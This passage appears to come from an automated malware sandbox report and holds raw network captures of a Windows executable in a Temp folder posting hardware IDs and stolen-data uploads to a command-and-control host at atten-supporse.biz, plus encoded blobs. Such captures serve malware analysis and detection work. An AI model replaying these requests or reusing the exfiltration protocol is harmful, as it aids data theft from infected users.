gbkeSo4AiXqX0FDtMDhUrcsOWxTo+JY4yqEHRPOnM7Ehzet/rsC5OqdQEO0ULHBNytrOEGqIVohKgIO1Fwb34RF5rptaBL06JhTV2ZbOw/mYmfqRH0nSyLpUZsEHhpdx0fmOa26gyYqXIJCdBGzQveraTtArCCb4+mCTtYNCQ7Egjet/rFEpirf00al1qLDdfo/akCs4JqiaUHMlhxYn8UFpjsteQAkqp9AQvTQsoG0Keu7E70xGuU6V50YXd8b
2024-12-09 22:09:32 UTC	1369	IN	Data Raw: 6a 2b 71 35 46 6c 4c 30 35 56 55 58 33 53 4e 67 64 32 4b 61 75 2f 78 58 36 6d 79 4b 56 36 51 45 34 45 43 77 71 65 42 34 62 6d 75 2b 32 34 41 47 65 70 57 73 43 41 74 35 4b 77 42 6a 52 72 36 4c 69 42 72 47 4c 61 70 36 6c 43 43 5a 56 5a 6e 67 37 57 31 43 5a 39 2f 71 34 52 61 57 69 61 52 30 47 6d 33 4c 64 43 63 32 6a 71 4f 56 4f 70 63 70 31 7a 4b 34 4b 64 41 67 30 62 48 51 63 45 35 48 75 73 2b 77 49 6c 71 78 38 44 41 50 64 53 63 45 4b 33 61 36 6b 37 41 53 35 68 57 61 46 72 67 34 7a 55 32 59 71 4e 56 55 58 68 71 2f 69 6f 43 79 55 74 33 63 64 52 63 59 4e 30 6b 72 63 70 4f 57 78 54 72 36 4f 59 34 69 75 43 6a 4a 56 63 6d 64 36 47 68 47 65 34 4c 37 72 44 4a 57 6b 64 41 67 49 33 56 48 42 41 64 53 6b 72 4f 55 44 2b 73 6f 73 69 37 46 47 62 42 42 46 5a 33 55 62 46 34 Data Ascii: j+q5FlL05VUX3SNgd2Kau/xX6myKV6QE4ECwqeB4bmu+24AGepWsCAt5KwBjRr6LiBrGLap6lCCZVZng7W1CZ9/q4RaWiaR0Gm3LdCc2jqOVOpcp1zK4KdAg0bHQcE5Hus+wIlqx8DAPdScEK3a6k7AS5hWaFrg4zU2YqNVUXhq/ioCyUt3cdRcYN0krcpOWxTr6OY4iuCjJVcmd6GhGe4L7rDJWkdAgI3VHBAdSkrOUD+sosi7FGbBBFZ3UbF4
2024-12-09 22:09:32 UTC	1369	IN	Data Raw: 41 4a 36 6f 64 41 34 44 33 30 6a 48 47 4e 4b 6f 70 75 4a 4f 39 4d 52 72 6c 4f 6c 65 64 48 4e 6a 66 48 45 53 48 49 6a 6b 75 2b 4d 54 6e 72 55 35 51 30 58 49 52 4e 70 4b 67 37 36 31 2f 67 6d 6c 79 6e 58 4d 72 67 70 30 43 44 52 73 63 68 4d 58 6d 4f 47 6f 35 51 4f 63 71 6e 41 45 41 64 46 41 79 77 37 66 72 36 44 71 41 72 47 44 62 34 4f 74 44 7a 70 5a 65 79 6f 31 56 52 65 47 72 2b 4b 67 4a 49 69 6d 64 51 42 46 78 67 33 53 53 74 79 6b 35 62 46 4f 74 6f 70 70 6a 4b 4d 41 4d 46 56 79 59 48 34 56 47 35 33 67 76 75 59 42 6e 4b 56 79 42 41 54 66 52 73 45 42 33 61 57 6d 37 77 6a 36 79 69 79 4c 73 55 5a 73 45 46 52 78 64 68 6b 58 33 76 44 30 2b 55 57 55 71 54 6c 56 52 64 4a 50 7a 77 33 62 70 61 62 68 43 37 36 4f 61 59 79 68 46 44 78 51 63 33 68 70 46 52 6d 62 34 37 6e Data Ascii: AJ6odA4D30jHGNKopuJO9MRrlOledHNjfHESHIjku+MTnrU5Q0XIRNpKg761/gmlynXMrgp0CDRschMXmOGo5QOcqnAEAdFAyw7fr6DqArGDb4OtDzpZeyo1VReGr+KgJIimdQBFxg3SStyk5bFOtoppjKMAMFVyYH4VG53gvuYBnKVyBATfRsEB3aWm7wj6yiyLsUZsEFRxdhkX3vD0+UWUqTlVRdJPzw3bpabhC76OaYyhFDxQc3hpFRmb47n
2024-12-09 22:09:32 UTC	1369	IN	Data Raw: 33 6f 64 42 74 5a 53 39 55 71 44 73 5a 75 70 42 61 79 44 66 49 2b 2f 44 54 6c 63 5a 56 51 37 54 55 54 4d 76 65 69 79 56 34 7a 6c 5a 6a 4a 4c 6d 55 4b 4c 55 75 4b 78 35 66 39 4f 34 74 59 69 7a 4c 74 47 62 42 41 7a 61 57 6b 48 46 70 33 35 75 61 63 37 72 59 4a 76 42 77 4c 4a 52 4e 77 46 6d 2b 62 6c 35 6b 37 69 76 53 79 46 72 68 30 6c 52 6e 6c 36 66 46 55 76 30 4b 2b 69 6f 46 33 54 6b 48 6f 44 43 39 35 56 32 6b 66 38 76 71 2f 75 48 72 32 54 59 38 7a 6e 52 6a 49 51 4c 44 6b 31 56 52 53 50 72 2b 4b 77 56 38 6a 77 4b 6c 70 56 69 31 79 46 45 35 75 2b 35 62 46 63 39 4d 52 2b 7a 50 46 47 63 31 4e 6d 65 48 30 57 42 70 32 6f 68 4e 34 69 69 61 68 2f 47 68 54 6e 66 63 77 51 31 71 36 79 2b 45 4b 76 68 32 4b 43 72 68 42 30 48 6a 52 6c 4f 30 30 70 33 71 66 36 33 30 76 54 Data Ascii: 3odBtZS9UqDsZupBayDfI+/DTlcZVQ7TUTMveiyV4zlZjJLmUKLUuKx5f9O4tYizLtGbBAzaWkHFp35uac7rYJvBwLJRNwFm+bl5k7ivSyFrh0lRnl6fFUv0K+ioF3TkHoDC95V2kf8vq/uHr2TY8znRjIQLDk1VRSPr+KwV8jwKlpVi1yFE5u+5bFc9MR+zPFGc1NmeH0WBp2ohN4iiah/GhTnfcwQ1q6y+EKvh2KCrhB0HjRlO00p3qf630vT
2024-12-09 22:09:32 UTC	1369	IN	Data Raw: 43 4b 46 4a 74 59 78 4f 61 38 71 52 6a 36 33 44 37 43 36 52 52 30 43 44 51 74 65 41 63 43 6d 4f 79 73 34 30 4b 74 6d 31 34 44 41 74 68 56 32 78 33 55 6c 70 76 38 44 62 53 4b 61 35 71 34 52 6e 6f 51 65 79 6f 6a 4c 46 44 57 72 34 57 75 52 59 76 6c 49 55 30 77 32 6b 33 46 44 63 32 35 36 4d 34 41 76 59 56 36 6e 4c 34 4a 64 42 34 30 62 44 74 4e 51 74 43 76 76 76 46 46 79 2f 55 72 56 6c 43 4b 46 4a 74 59 78 4f 61 38 71 52 6a 36 33 44 37 43 36 52 52 30 43 44 51 74 65 41 63 43 6d 4f 79 73 34 30 4b 74 6d 31 34 44 41 74 68 56 32 78 33 55 35 34 76 66 4c 34 53 36 65 59 2b 6e 43 44 4e 47 5a 53 6f 31 56 52 2f 65 74 34 4f 67 54 64 4f 61 4e 30 30 64 6d 52 75 4c 50 39 69 6d 71 2b 34 59 71 38 6c 4c 67 71 34 48 49 6b 42 6a 5a 54 51 37 4a 72 2b 76 39 4b 41 44 30 2f 30 72 51 Data Ascii: CKFJtYxOa8qRj63D7C6RR0CDQteAcCmOys40Ktm14DAthV2x3Ulpv8DbSKa5q4RnoQeyojLFDWr4WuRYvlIU0w2k3FDc256M4AvYV6nL4JdB40bDtNQtCvvvFFy/UrVlCKFJtYxOa8qRj63D7C6RR0CDQteAcCmOys40Ktm14DAthV2x3U54vfL4S6eY+nCDNGZSo1VR/et4OgTdOaN00dmRuLP9imq+4Yq8lLgq4HIkBjZTQ7Jr+v9KAD0/0rQ
2024-12-09 22:09:32 UTC	1369	IN	Data Raw: 5a 44 63 75 72 35 39 67 59 75 59 52 69 69 2b 6c 49 64 45 67 30 4d 6a 73 34 41 70 6e 2f 75 61 42 4c 30 36 6b 35 56 55 58 55 55 63 77 61 32 4f 53 69 38 77 6e 36 6d 79 4b 56 36 52 42 30 43 43 63 6b 4f 77 64 51 78 71 2f 39 37 67 69 53 70 6e 63 4f 46 38 74 46 79 42 7a 59 37 35 76 58 49 36 69 44 66 49 2f 72 4e 7a 6c 55 59 6e 39 34 42 52 65 67 30 5a 66 79 41 6f 4f 6d 4f 79 45 43 31 45 2f 31 4e 4f 79 35 6f 76 6c 4d 6e 49 64 36 6a 2b 6c 49 64 45 67 30 4d 6a 73 34 41 70 6e 2f 75 61 49 70 6c 4b 68 31 54 52 71 58 57 6f 73 63 6d 2f 44 32 70 30 36 6f 78 44 54 4d 37 67 55 6d 51 6e 4a 70 62 52 5a 58 6f 4e 47 58 38 67 4b 44 70 6a 73 38 43 4e 31 56 33 67 6e 4c 72 35 76 58 49 36 69 44 66 49 2f 72 49 77 34 53 52 58 78 34 46 52 36 5a 72 2f 53 67 48 64 50 39 4f 53 41 58 33 6c Data Ascii: ZDcur59gYuYRii+lIdEg0Mjs4Apn/uaBL06k5VUXUUcwa2OSi8wn6myKV6RB0CCckOwdQxq/97giSpncOF8tFyBzY75vXI6iDfI/rNzlUYn94BReg0ZfyAoOmOyEC1E/1NOy5ovlMnId6j+lIdEg0Mjs4Apn/uaIplKh1TRqXWoscm/D2p06oxDTM7gUmQnJpbRZXoNGX8gKDpjs8CN1V3gnLr5vXI6iDfI/rIw4SRXx4FR6Zr/SgHdP9OSAX3l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49842	104.21.48.1	443	3512	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:34 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=478CIPIPZOWTB668KNF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18175 Host: atten-supporse.biz
2024-12-09 22:09:34 UTC	15331	OUT	Data Raw: 2d 2d 34 37 38 43 49 50 49 50 5a 4f 57 54 42 36 36 38 4b 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 34 37 38 43 49 50 49 50 5a 4f 57 54 42 36 36 38 4b 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 37 38 43 49 50 49 50 5a 4f 57 54 42 36 36 38 4b 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --478CIPIPZOWTB668KNFContent-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--478CIPIPZOWTB668KNFContent-Disposition: form-data; name="pid"2--478CIPIPZOWTB668KNFContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-09 22:09:34 UTC	2844	OUT	Data Raw: d2 6d b6 ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef Data Ascii: me,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)
2024-12-09 22:09:35 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=961qns6t19jpdoa6hcljl2h0gl; expires=Fri, 04-Apr-2025 15:56:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fX4vKyA0Bd%2Bfz2fU5MmFmBycafMQnOTPlpOlVXneaRT4dsRQ6IDYBqRFE8Qc5C1k62IJVbLEhOOGigMkygtu5IwZmUwI3IbGi7cTGVl%2Bvka1VfO4djNSCQQkAoADv%2BZgGmeEzMM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef851fcd9b00cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1524&min_rtt=1520&rtt_var=578&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2847&recv_bytes=19140&delivery_rate=1877813&cwnd=225&unsent_bytes=0&cid=549f96b84e1bd969&ts=995&x=0"
2024-12-09 22:09:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49852	104.21.48.1	443	3512	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:36 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EE0SIFZN91VG0FQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8772 Host: atten-supporse.biz
2024-12-09 22:09:36 UTC	8772	OUT	Data Raw: 2d 2d 45 45 30 53 49 46 5a 4e 39 31 56 47 30 46 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 45 45 30 53 49 46 5a 4e 39 31 56 47 30 46 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 45 30 53 49 46 5a 4e 39 31 56 47 30 46 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --EE0SIFZN91VG0FQContent-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--EE0SIFZN91VG0FQContent-Disposition: form-data; name="pid"2--EE0SIFZN91VG0FQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-09 22:09:37 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sdtfd2maf8arrf0bipgl9f7ru0; expires=Fri, 04-Apr-2025 15:56:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZxampBT6gYy3PTwBdikauMXml7JYQtaa2CpXBek1rcVGbTnLSHMIFj86e4pWovowFFFonrOQIoqnvAysICH1251RfeVFImIoEwOIXxLUEmzp8u5fM4dPQvhgOop2U4ykf7qONpo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef8520debd3f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&min_rtt=1693&rtt_var=641&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9710&delivery_rate=1698662&cwnd=151&unsent_bytes=0&cid=b3473a5b5daba19d&ts=942&x=0"
2024-12-09 22:09:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49861	104.21.48.1	443	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:39 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-09 22:09:39 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=3A3450F0EC9224B723D904AF30EFEBBC
2024-12-09 22:09:39 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tv1ref9e3vklveucomhl4vhl2a; expires=Fri, 04-Apr-2025 15:56:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sZAgxKaImMI6L3D1btjDwXIICAjJoieSD8K%2BGQbYBOOtP1Wxm%2Fhp3wFJUFMP5TFfMzhmVB12DE3dh9d%2BTcAwziwVaDsdRhzjc%2BPkrrrZ9TjdfQM%2Fvgfiiz0ISbpsjcpUPGIdoaM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef8521d8881f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1643&rtt_var=631&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=990&delivery_rate=1713615&cwnd=151&unsent_bytes=0&cid=54acbd2f77489437&ts=716&x=0"
2024-12-09 22:09:39 UTC	214	IN	Data Raw: 64 30 0d 0a 48 6a 7a 43 2f 5a 75 44 39 77 55 69 2f 51 72 5a 5a 7a 68 52 48 6d 6b 70 64 6b 37 58 65 43 53 56 7a 79 43 6c 44 6a 64 4d 52 54 4a 46 52 2b 43 49 75 62 6e 56 62 56 61 4a 65 75 4d 37 46 77 30 78 57 42 46 44 59 4f 56 4a 45 62 76 2b 45 5a 59 67 42 6e 6f 5a 48 58 46 61 70 4b 47 30 35 35 4a 6a 44 4a 68 79 76 45 55 55 63 33 67 64 43 30 78 2b 2b 31 70 42 74 2f 55 52 32 43 4a 4d 62 6a 41 51 4a 42 36 71 69 65 2f 7a 7a 56 6b 4e 6f 53 58 6f 58 77 31 2f 4c 46 67 63 57 48 2f 6d 53 77 71 6b 2b 58 79 4b 66 55 4d 70 4a 46 39 43 45 37 43 63 39 65 65 59 61 41 79 59 63 72 78 46 46 48 4e 34 48 51 74 4d 66 76 74 61 51 62 66 31 45 4e 68 54 0d 0a Data Ascii: d0HjzC/ZuD9wUi/QrZZzhRHmkpdk7XeCSVzyClDjdMRTJFR+CIubnVbVaJeuM7Fw0xWBFDYOVJEbv+EZYgBnoZHXFapKG055JjDJhyvEUUc3gdC0x++1pBt/UR2CJMbjAQJB6qie/zzVkNoSXoXw1/LFgcWH/mSwqk+XyKfUMpJF9CE7Cc9eeYaAyYcrxFFHN4HQtMfvtaQbf1ENhT
2024-12-09 22:09:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49864	104.21.48.1	443	3512	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:40 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G2J1AFOFIYSJEI5872M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20449 Host: atten-supporse.biz
2024-12-09 22:09:40 UTC	15331	OUT	Data Raw: 2d 2d 47 32 4a 31 41 46 4f 46 49 59 53 4a 45 49 35 38 37 32 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 47 32 4a 31 41 46 4f 46 49 59 53 4a 45 49 35 38 37 32 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 32 4a 31 41 46 4f 46 49 59 53 4a 45 49 35 38 37 32 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --G2J1AFOFIYSJEI5872MContent-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--G2J1AFOFIYSJEI5872MContent-Disposition: form-data; name="pid"3--G2J1AFOFIYSJEI5872MContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-09 22:09:40 UTC	5118	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~
2024-12-09 22:09:41 UTC	1026	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p45cuiuqm4jfleduo43h4ddegu; expires=Fri, 04-Apr-2025 15:56:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i4VhdMFjQGCAx70ptEEoOUhGyE0Ps9%2BfLUIou%2Bv7F3azGKTowUQbqqM2EUkR08SRf%2Fo8hDkEog6sXzTKVuQF%2FyyKP1Oa3lUnOGi5shiMpYsiyT2zbWb8%2B%2FQbmMeEzP3Gd17KVxo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef852232ef64231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1631&min_rtt=1628&rtt_var=616&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21414&delivery_rate=1767554&cwnd=127&unsent_bytes=0&cid=2c78b8073b316e67&ts=1191&x=0"
2024-12-09 22:09:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49880	104.21.48.1	443	3512	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:43 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VYB1IEN1977VXUE6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1266 Host: atten-supporse.biz
2024-12-09 22:09:43 UTC	1266	OUT	Data Raw: 2d 2d 56 59 42 31 49 45 4e 31 39 37 37 56 58 55 45 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 56 59 42 31 49 45 4e 31 39 37 37 56 58 55 45 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 59 42 31 49 45 4e 31 39 37 37 56 58 55 45 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --VYB1IEN1977VXUE6Content-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--VYB1IEN1977VXUE6Content-Disposition: form-data; name="pid"1--VYB1IEN1977VXUE6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
